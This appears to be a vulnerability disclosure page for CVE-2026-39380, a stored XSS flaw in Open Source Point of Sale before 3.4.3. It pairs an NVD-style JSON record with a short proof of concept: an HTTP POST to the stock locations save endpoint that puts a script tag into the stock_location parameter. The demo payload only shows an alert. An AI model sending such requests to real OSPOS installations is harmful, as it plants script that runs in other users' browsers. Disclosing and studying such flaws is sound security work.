CVE-2026-39380

<!-- PoC for CVE-2026-39380 (Stored XSS in OSPOS) An attacker with low privileges sends a POST request to the stock location save endpoint --> POST /index.php/stock_locations/save HTTP/1.1 Host: target-ospos.com Content-Type: application/x-www-form-urlencoded Cookie: [attacker_session_cookie] // Injecting malicious script into the vulnerable parameter stock_location=<script>alert('CVE-2026-39380 XSS');</script>&location_name=PoC_Test

{"cve": {"id": "CVE-2026-39380", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:32.617", "lastModified": "2026-04-24T17:51:06.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Source Point of Sale is a web based point-of-sale application written in PHP using CodeIgniter framework. Prior to 3.4.3, a Stored Cross-Site Scripting (XSS) vulnerability exists in the Stock Locations configuration feature. The application fails to properly sanitize user input supplied through the stock_location parameter, allowing attackers to inject malicious JavaScript code that is stored in the database and executed when rendered in the Employees interface. This vulnerability is fixed in 3.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.3", "matchCriteriaId": "33CA1AD1-86E9-4A57-8D1D-48AC5FEA0AE8"}]}]}], "references": [{"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-7hg5-68rx-xpmg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-7hg5-68rx-xpmg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}